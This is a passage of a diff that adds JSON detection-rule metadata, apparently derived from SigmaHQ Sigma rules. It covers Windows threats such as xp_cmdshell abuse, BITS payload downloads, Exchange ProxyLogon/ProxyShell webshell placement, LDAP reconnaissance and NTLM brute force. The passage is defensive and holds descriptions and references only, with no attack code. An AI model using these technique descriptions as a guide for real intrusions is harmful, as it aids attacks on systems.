"attack.execution" + ], + "creation_date": "2022/07/12", + "filename": "win_mssql_xp_cmdshell_audit_log.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the MSSQL \"xp_cmdshell\" stored procedure setting is changed", + "uuid": "d08dd86f-681e-4a00-a92c-1db218754417", + "value": "MSSQL XPCmdshell Option Change", + "meta": { + "refs": [ + "https://www.netspi.com/blog/technical/network-penetration-testing/sql-server-persistence-part-1-startup-stored-procedures/", + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_mssql_xp_cmdshell_change.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/12", + "filename": "win_mssql_xp_cmdshell_change.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate enable/disable of the setting", + "Note that since the event contain the change for both values. This means that this will trigger on both enable and disable" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators", + "uuid": "87261fb2-69d0-42fe-b9de-88c6b5f65a43", + "value": "Atera Agent Installation", + "meta": { + "refs": [ + "https://www.advintel.io/post/secret-backdoor-behind-conti-ransomware-operation-introducing-atera-agent", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_software_atera_rmm_agent_install.yml" + ], + "tags": [ + "attack.t1219" + ], + "creation_date": "2021/09/01", + "filename": "win_software_atera_rmm_agent_install.yml", + "author": "Bhabesh Raj", + "level": "high", + "falsepositive": [ + "Legitimate Atera agent installation" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects backup catalog deletions", + "uuid": "9703792d-fd9a-456d-a672-ff92efe4806a", + "value": "Backup Catalog Deleted", + "meta": { + "refs": [ + "https://technet.microsoft.com/en-us/library/cc742154(v=ws.11).aspx", + "https://www.hybrid-analysis.com/sample/ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa?environmentId=100", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_backup_delete.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070.004" + ], + "creation_date": "2017/05/12", + "filename": "win_susp_backup_delete.yml", + "author": "Florian Roth (rule), Tom U. @c_APT_ure (collection)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects a suspicious crash of the Microsoft Malware Protection Engine", + "uuid": "6c82cf5c-090d-4d57-9188-533577631108", + "value": "Microsoft Malware Protection Engine Crash", + "meta": { + "refs": [ + "https://bugs.chromium.org/p/project-zero/issues/detail?id=1252&desc=5", + "https://technet.microsoft.com/en-us/library/security/4022344", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_susp_msmpeng_crash.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1211", + "attack.t1562.001" + ], + "creation_date": "2017/05/09", + "filename": "win_susp_msmpeng_crash.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "MsMpEng.exe can crash when C:\\ is full" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the exploitation of Microsoft Exchange vulnerability as described in CVE-2020-0688", + "uuid": "d6266bf5-935e-4661-b477-78772735a7cb", + "value": "CVE-2020-0688 Exploitation via Eventlog", + "meta": { + "refs": [ + "https://www.trustedsec.com/blog/detecting-cve-20200688-remote-code-execution-vulnerability-on-microsoft-exchange-server/", + "https://cyberpolygon.com/materials/okhota-na-ataki-ms-exchange-chast-2-cve-2020-0688-cve-2020-16875-cve-2021-24085/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2020_0688.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2020/02/29", + "filename": "win_vul_cve_2020_0688.yml", + "author": "Florian Roth, wagga", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379", + "uuid": "7dbb86de-a0cc-494c-8aa8-b2996c9ef3c8", + "value": "LPE InstallerFileTakeOver PoC CVE-2021-41379", + "meta": { + "refs": [ + "https://github.com/klinix5/InstallerFileTakeOver", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/application/win_vul_cve_2021_41379.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1190" + ], + "creation_date": "2021/11/22", + "filename": "win_vul_cve_2021_41379.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Other MSI packages for which your admins have used that name" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detect run not allowed files. Applocker is a very useful tool, especially on servers where unprivileged users have access. For example terminal servers. You need configure applocker and log collect to receive these events.", + "uuid": "401e5d00-b944-11ea-8f9a-00163ecd60ae", + "value": "File Was Not Allowed To Run", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker", + "https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/using-event-viewer-with-applocker", + "https://nxlog.co/documentation/nxlog-user-guide/applocker.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/applocker/win_applocker_file_was_not_allowed_to_run.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002", + "attack.t1059.001", + "attack.t1059.003", + "attack.t1059.005", + "attack.t1059.006", + "attack.t1059.007" + ], + "creation_date": "2020/06/28", + "filename": "win_applocker_file_was_not_allowed_to_run.yml", + "author": "Pushkarev Dmitry", + "level": "medium", + "falsepositive": [ + "Need tuning applocker or add exceptions in SIEM" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", + "uuid": "d635249d-86b5-4dad-a8c7-d7272b788586", + "value": "Suspicious Download with BITS from Suspicious TLD", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://twitter.com/malmoeb/status/1535142803075960832", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_domain.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/06/28", + "filename": "win_bits_client_susp_domain.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "uuid": "b85e5894-9b19-4d86-8c87-a2f3b81f0521", + "value": "Suspicious Download File Extension with BITS", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/03/01", + "filename": "win_bits_client_susp_local_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "uuid": "f8a56cb7-a363-44ed-a82f-5926bb44cd05", + "value": "Download with BITS to Suspicious Folder", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_local_folder.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/06/28", + "filename": "win_bits_client_susp_local_folder.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "uuid": "fe3a2d49-f255-4d10-935c-bda7391108eb", + "value": "Suspicious Task Added by Powershell", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_powershell_job.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/03/01", + "filename": "win_bits_client_susp_powershell_job.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.\nWindows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\n", + "uuid": "1ff315dc-2a3a-4b71-8dde-873818d25d39", + "value": "Suspicious Task Added by Bitsadmin", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_susp_use_bitsadmin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/03/01", + "filename": "win_bits_client_susp_use_bitsadmin.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Administrator PowerShell scripts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious download using the BITS client from a FQDN that is unusual. Adversaries may abuse BITS jobs to persistently execute or clean up after malicious payloads.", + "uuid": "6d44fb93-e7d2-475c-9d3d-54c9c1e33427", + "value": "Suspicious Download with BITS from Suspicious TLD", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1197/T1197.md", + "https://twitter.com/malmoeb/status/1535142803075960832", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/bits_client/win_bits_client_uncommon_domain.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.persistence", + "attack.t1197" + ], + "creation_date": "2022/06/10", + "filename": "win_bits_client_uncommon_domain.yml", + "author": "Florian Roth", + "level": "medium", + "falsepositive": [ + "Other legitimate domains used by software updaters" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects attempted DLL load events that didn't meet anti-malware or Windows signing level requirements. It often means the file's signature is revoked or expired", + "uuid": "f8931561-97f5-4c46-907f-0a4a592e47a7", + "value": "Code Integrity Attempted DLL Load", + "meta": { + "refs": [ + "https://twitter.com/SBousseaden/status/1483810148602814466", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_attempted_dll_load.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/01/20", + "filename": "win_codeintegrity_attempted_dll_load.yml", + "author": "Florian Roth, Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects blocked load attempts of revoked drivers", + "uuid": "9b72b82d-f1c5-4632-b589-187159bc6ec1", + "value": "Block Load Of Revoked Driver", + "meta": { + "refs": [ + "https://twitter.com/wdormann/status/1590434950335320065", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintegrity_revoked_driver.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ], + "creation_date": "2022/11/10", + "filename": "win_codeintegrity_revoked_driver.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects blocked load events that did not meet the authenticode signing level requirements or violated code integrity policy", + "uuid": "e4be5675-4a53-426a-8c81-a8bb2387e947", + "value": "Code Integrity Blocked Driver Load", + "meta": { + "refs": [ + "https://twitter.com/wdormann/status/1590434950335320065", + "https://github.com/MicrosoftDocs/windows-itpro-docs/blob/40fe118976734578f83e5e839b9c63ae7a4af82d/windows/security/threat-protection/windows-defender-application-control/event-id-explanations.md#windows-codeintegrity-operational-log", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/code_integrity/win_codeintergiry_blocked_driver_load.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1543" + ], + "creation_date": "2022/11/10", + "filename": "win_codeintergiry_blocked_driver_load.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects loading of diagcab packages from a remote path, as seen in DogWalk vulnerability", + "uuid": "50cb47b8-2c33-4b23-a2e9-4600657d9746", + "value": "Loading Diagcab Package From Remote Path", + "meta": { + "refs": [ + "https://twitter.com/nas_bench/status/1539679555908141061", + "https://twitter.com/j00sean/status/1537750439701225472", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/diagnosis/scripted/win_diagnosis_scripted_load_remote_diagcab.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/08/14", + "filename": "win_diagnosis_scripted_load_remote_diagcab.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Legitimate package hosted on a known and authorized remote location" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", + "uuid": "3db10f25-2527-4b79-8d4b-471eb900ee29", + "value": "GALLIUM Artefacts", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_apt_gallium.yml" + ], + "tags": [ + "attack.credential_access", + "attack.command_and_control", + "attack.t1071" + ], + "creation_date": "2020/02/07", + "filename": "win_apt_gallium.yml", + "author": "Tim Burrell", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "This rule detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded", + "uuid": "cbe51394-cd93-4473-b555-edf0144952d9", + "value": "DNS Server Error Failed Loading the ServerLevelPluginDLL", + "meta": { + "refs": [ + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", + "https://technet.microsoft.com/en-us/library/cc735829(v=ws.10).aspx", + "https://twitter.com/gentilkiwi/status/861641945944391680", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/dns_server/win_susp_dns_config.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1574.002" + ], + "creation_date": "2017/05/08", + "filename": "win_susp_dns_config.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects plugged USB devices", + "uuid": "1a4bd6e3-4c6e-405d-a9a3-53a116e341d4", + "value": "USB Device Plugged", + "meta": { + "refs": [ + "https://df-stream.com/2014/01/the-windows-7-event-log-and-usb-device/", + "https://www.techrepublic.com/article/how-to-track-down-usb-flash-drive-usage-in-windows-10s-event-viewer/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/driverframeworks/win_usb_device_plugged.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1200" + ], + "creation_date": "2017/11/09", + "filename": "win_usb_device_plugged.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Legitimate administrative activity" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "A rule has been modified in the Windows Firewall exception list", + "uuid": "cde0a575-7d3d-4a49-9817-b8004a7bf105", + "value": "Added Rule in Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_add_rule.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_add_rule.yml", + "author": "frack113", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "A rule has been modified in the Windows Firewall exception list", + "uuid": "5570c4d9-8fdd-4622-965b-403a5a101aa0", + "value": "Modified Rule in Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_change_rule.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_change_rule.yml", + "author": "frack113", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "A rule has been deleted in the Windows Firewall exception list.", + "uuid": "c187c075-bb3e-4c62-b4fa-beae0ffc211f", + "value": "Delete Rule in Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_delete_rule.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_delete_rule.yml", + "author": "frack113", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "The Windows Firewall service failed to load Group Policy.", + "uuid": "7ec15688-fd24-4177-ba43-1a950537ee39", + "value": "Failed to Load Policy in Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_failed.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_failed.yml", + "author": "frack113", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Windows Firewall has been reset to its default configuration.", + "uuid": "04b60639-39c0-412a-9fbe-e82499c881a3", + "value": "Reset to Default Configuration Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_reset.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_reset.yml", + "author": "frack113", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Setting have been change in Windows Firewall", + "uuid": "00bb5bd5-1379-4fcf-a965-a5b6f7478064", + "value": "Setting Change in Windows Firewall with Advanced Security", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd364427(v=ws.10)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/firewall_as/win_firewall_as_setting_change.yml" + ], + "tags": "No established tags", + "creation_date": "2022/02/19", + "filename": "win_firewall_as_setting_change.yml", + "author": "frack113", + "level": "low", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects possible Active Directory enumeration via LDAP", + "uuid": "31d68132-4038-47c7-8f8e-635a39a7c174", + "value": "LDAP Reconnaissance / Active Directory Enumeration", + "meta": { + "refs": [ + "https://techcommunity.microsoft.com/t5/microsoft-defender-for-endpoint/hunting-for-reconnaissance-activities-using-ldap-search-filters/ba-p/824726", + "https://github.com/PowerShellMafia/PowerSploit/blob/d943001a7defb5e0d1657085a77a0e78609be58f/Recon/PowerView.ps1", + "https://github.com/BloodHoundAD/SharpHound3/blob/7d96b991b1887ff50349ce59c80980bc0d95c86a/SharpHound3/LdapBuilder.cs", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ldap/win_ldap_recon.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1069.002", + "attack.t1087.002", + "attack.t1482" + ], + "creation_date": "2021/06/22", + "filename": "win_ldap_recon.yml", + "author": "Adeem Mawani", + "level": "medium", + "falsepositive": "No established falsepositives", + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects log entries that appear in exploitation attempts against MS Exchange RCE CVE-2021-42321", + "uuid": "c92f1896-d1d2-43c3-92d5-7a5b35c217bb", + "value": "Possible Exploitation of Exchange RCE CVE-2021-42321", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-42321", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_cve_2021_42321.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1210" + ], + "creation_date": "2021/11/18", + "filename": "win_exchange_cve_2021_42321.yml", + "author": "Florian Roth, @testanull", + "level": "high", + "falsepositive": [ + "Unknown, please report false positives via https://github.com/SigmaHQ/sigma/issues" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory", + "uuid": "550d3350-bb8a-4ff3-9533-2ba533f4a1c0", + "value": "ProxyLogon MSExchange OabVirtualDirectory", + "meta": { + "refs": [ + "https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxylogon_oabvirtualdir.yml" + ], + "tags": [ + "attack.t1587.001", + "attack.resource_development" + ], + "creation_date": "2021/08/09", + "filename": "win_exchange_proxylogon_oabvirtualdir.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a write of an Exchange CSR to an untypical directory or with aspx name suffix which can be used to place a webshell", + "uuid": "b7bc7038-638b-4ffd-880c-292c692209ef", + "value": "Certificate Request Export to Exchange Webserver", + "meta": { + "refs": [ + "https://twitter.com/GossiTheDog/status/1429175908905127938", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_certificate_generation.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/08/23", + "filename": "win_exchange_proxyshell_certificate_generation.yml", + "author": "Max Altgelt", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a successful export of an Exchange mailbox to untypical directory or with aspx name suffix which can be used to place a webshell or the needed role assignment for it", + "uuid": "516376b4-05cd-4122-bae0-ad7641c38d48", + "value": "Mailbox Export to Exchange Webserver", + "meta": { + "refs": [ + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_mailbox_export.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/08/09", + "filename": "win_exchange_proxyshell_mailbox_export.yml", + "author": "Florian Roth, Rich Warren, Christian Burkard", + "level": "critical", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects removal of an exported Exchange mailbox which could be to cover tracks from ProxyShell exploit", + "uuid": "09570ae5-889e-43ea-aac0-0e1221fb3d95", + "value": "Remove Exported Mailbox from Exchange Webserver", + "meta": { + "refs": [ + "https://github.com/rapid7/metasploit-framework/blob/1416b5776d963f21b7b5b45d19f3e961201e0aed/modules/exploits/windows/http/exchange_proxyshell_rce.rb#L430", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_proxyshell_remove_mailbox_export.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1070" + ], + "creation_date": "2021/08/27", + "filename": "win_exchange_proxyshell_remove_mailbox_export.yml", + "author": "Christian Burkard", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log", + "uuid": "9db37458-4df2-46a5-95ab-307e7f29e675", + "value": "Exchange Set OabVirtualDirectory ExternalUrl Property", + "meta": { + "refs": [ + "https://twitter.com/OTR_Community/status/1371053369071132675", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_set_oabvirtualdirectory_externalurl.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.003" + ], + "creation_date": "2021/03/15", + "filename": "win_exchange_set_oabvirtualdirectory_externalurl.yml", + "author": "Jose Rodriguez @Cyb3rPandaH", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Installation of a Exchange Transport Agent", + "uuid": "4fe151c2-ecf9-4fae-95ae-b88ec9c2fca6", + "value": "MSExchange Transport Agent Installation", + "meta": { + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.002" + ], + "creation_date": "2021/06/08", + "filename": "win_exchange_transportagent.yml", + "author": "Tobias Michalski", + "level": "medium", + "falsepositive": [ + "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects a failed installation of a Exchange Transport Agent", + "uuid": "c7d16cae-aaf3-42e5-9c1c-fb8553faa6fa", + "value": "Failed MSExchange Transport Agent Installation", + "meta": { + "refs": [ + "https://twitter.com/blueteamsec1/status/1401290874202382336?s=20", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/msexchange/win_exchange_transportagent_failed.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1505.002" + ], + "creation_date": "2021/06/08", + "filename": "win_exchange_transportagent_failed.yml", + "author": "Tobias Michalski", + "level": "high", + "falsepositive": [ + "Legitimate installations of exchange TransportAgents. AssemblyPath is a good indicator for this." + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects logons using NTLM, which could be caused by a legacy source or attackers", + "uuid": "98c3bcf1-56f2-49dc-9d8d-c66cf190238b", + "value": "NTLM Logon", + "meta": { + "refs": [ + "https://twitter.com/JohnLaTwC/status/1004895028995477505", + "https://goo.gl/PsqrhT", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_auth.yml" + ], + "tags": [ + "attack.lateral_movement", + "attack.t1550.002" + ], + "creation_date": "2018/06/08", + "filename": "win_susp_ntlm_auth.yml", + "author": "Florian Roth", + "level": "low", + "falsepositive": [ + "Legacy hosts" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, + { + "description": "Detects common NTLM brute force device names", + "uuid": "9c8acf1a-cbf9-4db6-b63c-74baabe03e59", + "value": "NTLM Brute Force", + "meta": { + "refs": [ + "https://www.varonis.com/blog/investigate-ntlm-brute-force", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/builtin/ntlm/win_susp_ntlm_brute_force.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110" + ], + "creation_date": "2022/02/02", + "filename": "win_susp_ntlm_brute_force.yml", + "author": "Jerry Shockley '@jsh0x'", + "level": "medium", + "falsepositive": [ + "Systems with names equal to the spoofed ones used by the brute force tools" + ], + "logsource.category": "No established category", + "logsource.product": "windows" + } + }, 